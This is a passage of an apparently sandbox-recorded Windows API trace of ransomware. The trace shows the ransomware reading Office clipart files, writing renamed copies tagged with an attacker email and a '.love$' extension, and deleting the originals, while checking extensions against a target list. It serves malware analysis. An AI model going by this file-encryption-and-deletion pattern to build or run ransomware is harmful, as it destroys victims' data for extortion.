hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x61c, lpOverlapped=0x0) returned 1 [0252.786] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x620, lpOverlapped=0x0) returned 1 [0252.788] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.788] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.788] SetEndOfFile (hFile=0x534) returned 1 [0252.788] CloseHandle (hObject=0x534) returned 1 [0252.788] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.788] SetEndOfFile (hFile=0x488) returned 1 [0252.793] CloseHandle (hObject=0x488) returned 1 [0252.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0252.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.796] lstrlenW (lpString=".doc") returned 4 [0252.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.796] lstrlenW (lpString=".docx") returned 5 [0252.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.796] lstrlenW (lpString=".pdf") returned 4 [0252.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.796] lstrlenW (lpString=".xls") returned 4 [0252.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.796] lstrlenW (lpString=".xlsx") returned 5 [0252.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.796] lstrlenW (lpString=".ppt") returned 4 [0252.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.796] lstrlenW (lpString=".zip") returned 4 [0252.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.796] lstrlenW (lpString=".rar") returned 4 [0252.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.796] lstrlenW (lpString=".bz2") returned 4 [0252.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.796] lstrlenW (lpString=".7z") returned 3 [0252.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.796] lstrlenW (lpString=".dbf") returned 4 [0252.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.796] lstrlenW (lpString=".1cd") returned 4 [0252.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.797] lstrlenW (lpString=".jpg") returned 4 [0252.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.797] lstrlenW (lpString=".doc") returned 4 [0252.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString=".docx") returned 5 [0252.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.797] lstrlenW (lpString=".pdf") returned 4 [0252.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString=".xls") returned 4 [0252.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.797] lstrlenW (lpString=".xlsx") returned 5 [0252.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.797] lstrlenW (lpString=".ppt") returned 4 [0252.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.797] lstrlenW (lpString=".zip") returned 4 [0252.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.797] lstrlenW (lpString=".rar") returned 4 [0252.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString=".bz2") returned 4 [0252.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.797] lstrlenW (lpString=".7z") returned 3 [0252.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.798] lstrlenW (lpString=".dbf") returned 4 [0252.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.798] lstrlenW (lpString=".1cd") returned 4 [0252.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0252.798] lstrlenW (lpString=".jpg") returned 4 [0252.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.798] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.798] lstrlenW (lpString="FD02141_.WMF") returned 12 [0252.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.799] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2636) returned 1 [0252.799] CloseHandle (hObject=0x488) returned 1 [0252.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0252.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.800] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.801] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0252.802] GetLastError () returned 0x0 [0252.802] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0252.804] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa50, lpOverlapped=0x0) returned 1 [0252.806] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.806] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.806] SetEndOfFile (hFile=0x534) returned 1 [0252.806] CloseHandle (hObject=0x534) returned 1 [0252.806] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.806] SetEndOfFile (hFile=0x488) returned 1 [0252.809] CloseHandle (hObject=0x488) returned 1 [0252.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0252.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.811] lstrlenW (lpString=".doc") returned 4 [0252.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.811] lstrlenW (lpString=".docx") returned 5 [0252.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.811] lstrlenW (lpString=".pdf") returned 4 [0252.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.811] lstrlenW (lpString=".xls") returned 4 [0252.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.811] lstrlenW (lpString=".xlsx") returned 5 [0252.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.811] lstrlenW (lpString=".ppt") returned 4 [0252.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.812] lstrlenW (lpString=".zip") returned 4 [0252.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.812] lstrlenW (lpString=".rar") returned 4 [0252.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString=".bz2") returned 4 [0252.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString=".7z") returned 3 [0252.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.812] lstrlenW (lpString=".dbf") returned 4 [0252.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.812] lstrlenW (lpString=".1cd") returned 4 [0252.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.812] lstrlenW (lpString=".jpg") returned 4 [0252.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.812] lstrlenW (lpString=".doc") returned 4 [0252.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.812] lstrlenW (lpString=".docx") returned 5 [0252.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.812] lstrlenW (lpString=".pdf") returned 4 [0252.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.813] lstrlenW (lpString=".xls") returned 4 [0252.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.813] lstrlenW (lpString=".xlsx") returned 5 [0252.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.813] lstrlenW (lpString=".ppt") returned 4 [0252.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.813] lstrlenW (lpString=".zip") returned 4 [0252.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.813] lstrlenW (lpString=".rar") returned 4 [0252.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.813] lstrlenW (lpString=".bz2") returned 4 [0252.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.813] lstrlenW (lpString=".7z") returned 3 [0252.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.813] lstrlenW (lpString=".dbf") returned 4 [0252.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.813] lstrlenW (lpString=".1cd") returned 4 [0252.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0252.813] lstrlenW (lpString=".jpg") returned 4 [0252.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.814] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.814] lstrlenW (lpString="FD02153_.WMF") returned 12 [0252.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.815] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5392) returned 1 [0252.815] CloseHandle (hObject=0x488) returned 1 [0252.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0252.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0253.084] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.084] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0253.214] GetLastError () returned 0x0 [0253.214] ReadFile (in: hFile=0x450, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1510, lpOverlapped=0x0) returned 1 [0254.520] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1520, lpOverlapped=0x0) returned 1 [0254.521] ReadFile (in: hFile=0x450, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.524] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0254.524] SetEndOfFile (hFile=0x548) returned 1 [0254.587] CloseHandle (hObject=0x548) returned 1 [0254.587] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.587] SetEndOfFile (hFile=0x450) returned 1 [0254.620] CloseHandle (hObject=0x450) returned 1 [0254.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0255.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.278] lstrlenW (lpString=".doc") returned 4 [0255.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.278] lstrlenW (lpString=".docx") returned 5 [0255.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.278] lstrlenW (lpString=".pdf") returned 4 [0255.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.278] lstrlenW (lpString=".xls") returned 4 [0255.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.278] lstrlenW (lpString=".xlsx") returned 5 [0255.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.278] lstrlenW (lpString=".ppt") returned 4 [0255.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.278] lstrlenW (lpString=".zip") returned 4 [0255.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.278] lstrlenW (lpString=".rar") returned 4 [0255.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString=".bz2") returned 4 [0255.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString=".7z") returned 3 [0255.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.279] lstrlenW (lpString=".dbf") returned 4 [0255.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.279] lstrlenW (lpString=".1cd") returned 4 [0255.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.279] lstrlenW (lpString=".jpg") returned 4 [0255.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.279] lstrlenW (lpString=".doc") returned 4 [0255.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString=".docx") returned 5 [0255.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.279] lstrlenW (lpString=".pdf") returned 4 [0255.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.279] lstrlenW (lpString=".xls") returned 4 [0255.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.279] lstrlenW (lpString=".xlsx") returned 5 [0255.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.280] lstrlenW (lpString=".ppt") returned 4 [0255.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.280] lstrlenW (lpString=".zip") returned 4 [0255.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.280] lstrlenW (lpString=".rar") returned 4 [0255.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.280] lstrlenW (lpString=".bz2") returned 4 [0255.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.280] lstrlenW (lpString=".7z") returned 3 [0255.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.280] lstrlenW (lpString=".dbf") returned 4 [0255.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.280] lstrlenW (lpString=".1cd") returned 4 [0255.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0255.280] lstrlenW (lpString=".jpg") returned 4 [0255.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.280] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.281] lstrlenW (lpString="HH00241_.WMF") returned 12 [0255.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.392] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1960) returned 1 [0255.392] CloseHandle (hObject=0x440) returned 1 [0255.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0255.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.393] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.393] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0255.395] GetLastError () returned 0x0 [0255.395] ReadFile (in: hFile=0x440, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0255.397] WriteFile (in: hFile=0x3f4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0255.400] 